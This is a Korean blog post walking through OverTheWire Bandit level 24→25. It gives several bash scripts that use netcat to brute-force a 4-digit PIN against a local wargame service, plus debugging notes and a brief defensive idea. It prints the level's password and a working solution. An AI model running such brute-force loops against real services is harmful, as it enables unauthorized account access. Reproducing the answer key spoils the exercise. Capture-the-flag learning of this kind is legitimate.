bandit 레벨 24-25 풀기 (스포일러)
Source: Dev.to
Source:
사후 분석 – Bandit 24 → 25
소요 시간: 3–4 시간
난이도: 7 / 10 – 로직은 간단했지만 올바른 구문을 찾는 데 애를 먹었습니다.
1️⃣ 사냥 (공격 및 전략) – 50 %
루프가 필요하다는 것은 알았지만, 어떻게 멈출지 몰랐습니다.
핵심은 서비스가 올바른 PIN을 찾았을 때 알려주는 시그널을 찾는 것이었습니다.
- 먼저 잘못된 비밀번호로 수동 연결을 시도했습니다.
- 서버는 잘못된 PIN에 대해 항상 동일한 “Wrong” 메시지를 반환했으므로 이를 센티넬로 사용할 수 있었습니다.
이 관찰을 통해 루프 로직과 명령 구문에 집중할 수 있었습니다.
스크립트
#!/usr/bin/env bash
echo "Let's get this password"
echo
HOST="localhost"
PORT=30002
PASS="gb8KRRCsshuZXI0tUuR6ypOFjiZbf3G8"
# First (intentionally wrong) attempt – just to initialise $output
output="$(printf "%s 0000\n" "$PASS" | nc -q 0 "$HOST" "$PORT")"
# Iterate over every 4‑digit PIN (0000 … 9999)
seq -f "%04g" 0 9999 | while read -r pin; do
# If the server stopped saying “Wrong”, we have the right PIN
if [[ "$output" != *"Wrong"* ]]; then
echo "The server response is: $output"
exit 0
else
i=$((i + 1)) # iteration counter
output="$(printf "%s %s\n" "$PASS" "$pin" | nc -q 0 "$HOST" "$PORT")"
# Print progress every 100 attempts
if (( i % 100 == 0 )); then
echo "Tried $i pins. Current pin: $pin"
fi
fi
done
2️⃣ 설계적 사고 – 30 %
PIN 생성
처음에는 전체 시퀀스(seq -f "%04g" 0 9999)를 변수에 저장했는데, 이 변수에 모든 가능한 PIN이 들어 있었습니다. 그래서 모든 시도가 잘못되었습니다.
해결 방법은 시퀀스를 while read 루프로 파이프해 한 번에 하나의 PIN만 pin 변수에 가져오도록 하는 것이었습니다.
3️⃣ 방어적 고찰 – 20 %
내가 이 서비스를 방어한다면 배너와 PIN 입력 프롬프트 사이에 짧은 지연을 넣을 수 있습니다.
스크립트는 연결 직후 바로 비밀번호를 보낼 수 있다고 가정하기 때문에, 지연이 있으면 전체 배너가 수신될 때까지 모든 시도가 “Wrong”으로 판단되어 무차별 대입 클라이언트의 속도가 크게 느려집니다.
교훈: 타이밍은 유용한 사이드채널 누수 수단이 될 수 있습니다.
기타 메모 및 실험
-
Bash에서 연결
nc localhost 30002 -
사용자에게 프롬프트 표시 (최종 스크립트에서는 필요 없음)
read -rp "Press Enter to continue..." -
서버 응답 캡처
output="$(printf "%s %s\n" "$PASS" "$pin" | timeout 2 nc "$HOST" "$PORT")" -
4자리 PIN 목록 생성 (내가 찾은 가장 빠른 방법)
seq -f "%04g" 0 9999 -
첫 번째 (실패한) 시도 – 왜 작동하지 않았는지
Pin="$(seq -f "%04g" 0 9999)" # **Reference:** see the file `test.sh` for a complete example.
첫 번째 전체 스크립트
#!/usr/bin/env bash
echo "Let's get this password"
echo
HOST="localhost"
PORT=30002
Passwd="gb8KRRCsshuZXI0tUuR6ypOFjiZbf3G8"
# Generate the PINs and test each one
seq -f "%04g" 0 9999 | while read -r pin; do
output="$(printf "$Passwd $pin\n" | timeout 2 nc "$HOST" "$PORT")"
if [[ "$output" == *"Wrong"* ]]; then
i=$((i+1)) # count attempts
# Print every 5th attempt
if (( i % 5 == 0 )); then
echo "Tried $i pins. Current pin: $pin"
fi
else
echo "The server response is: $output"
exit 0
fi
done
스크립트는 동작하지만, 매 PIN마다 새로운 TCP 연결을 열기 때문에 (nc + timeout) 시간이 너무 오래 걸립니다.
연결 오버헤드 디버깅
디버그 스크립트 #1 – 제한된 범위 (0‑9)
#!/usr/bin/env bash
echo "Let's get this password"
echo
HOST="localhost"
PORT=30002
Passwd="gb8KRRCsshuZXI0tUuR6ypOFjiZbf3G8"
output="$(printf "$Passwd 0000\n" | timeout 1 nc "$HOST" "$PORT")"
seq -f "%04g" 0 9 | while read -r pin; do
if [[ "$output" == *"Wrong"* ]]; then
i=$((i+1))
output="$(printf "$Passwd $pin\n" | timeout 1 nc "$HOST" "$PORT")"
if (( i % 5 == 0 )); then
echo "Tried $i pins. Current pin: $pin"
fi
else
echo "The server response is: $output"
exit 0
fi
done
디버그 스크립트 #2 – nc 종료 상태 확인
#!/usr/bin/env bash
echo "Let's get this password"
echo
HOST="localhost"
PORT=30002
Passwd="gb8KRRCsshuZXI0tUuR6ypOFjiZbf3G8"
output="$(printf "$Passwd 0000\n" | timeout 1 nc "$HOST" "$PORT")"
seq -f "%04g" 0 9 | while read -r pin; do
if [[ "$output" == *"Wrong"* ]]; then
i=$((i+1))
output="$(printf "$Passwd $pin\n" | timeout 1 nc "$HOST" "$PORT")"
rc=$?
echo "rc=$rc"
if (( i % 5 == 0 )); then
echo "Tried $i pins. Current pin: $pin"
fi
else
echo "The server response is: $output"
exit 0
fi
done
이 스니펫들은 반복적인 연결 설정(nc + timeout)이 주요 지연 원인임을 확인해 주었습니다.
최종 작동 버전 (no timeout, persistent connection)
#!/usr/bin/env bash
echo "Let's get this password"
echo
HOST="localhost"
PORT=30002
Passwd="gb8KRRCsshuZXI0tUuR6ypOFjiZbf3G8"
# First try a known wrong PIN to initialise $output
output="$(printf "$Passwd 0000\n" | nc -q 0 "$HOST" "$PORT")"
seq -f "%04g" 0 9999 | while read -r pin; do
if [[ "$output" != *"Wrong"* ]]; then
echo "The server response is: $output"
exit 0
else
i=$((i+1))
output="$(printf "$Passwd $pin\n" | nc -q 0 "$HOST" "$PORT")"
# Print every 100th attempt (adjust as you like)
if (( i % 100 == 0 )); then
echo "Tried $i pins. Current pin: $pin"
fi
fi
done
nc -q 0는 netcat에게 EOF 후 즉시 연결을 닫도록 지시하여 추가 타임아웃 지연을 방지합니다.- 스크립트가 이제 훨씬 빠르게 실행되며, 매 100번 시도마다 진행 상황을 출력합니다.
개인적인 메모
코딩할 때는 흐름을 금방 잊어버리기 때문에 주석을 많이 달곤 합니다. 추가 주석이 다소 지저분해 보일 수 있지만, 저에게는 생명줄과 같습니다! 😄
여러분도 이 과정을 즐기시고 스크립트가 유용하길 바랍니다. 해킹을 즐기세요!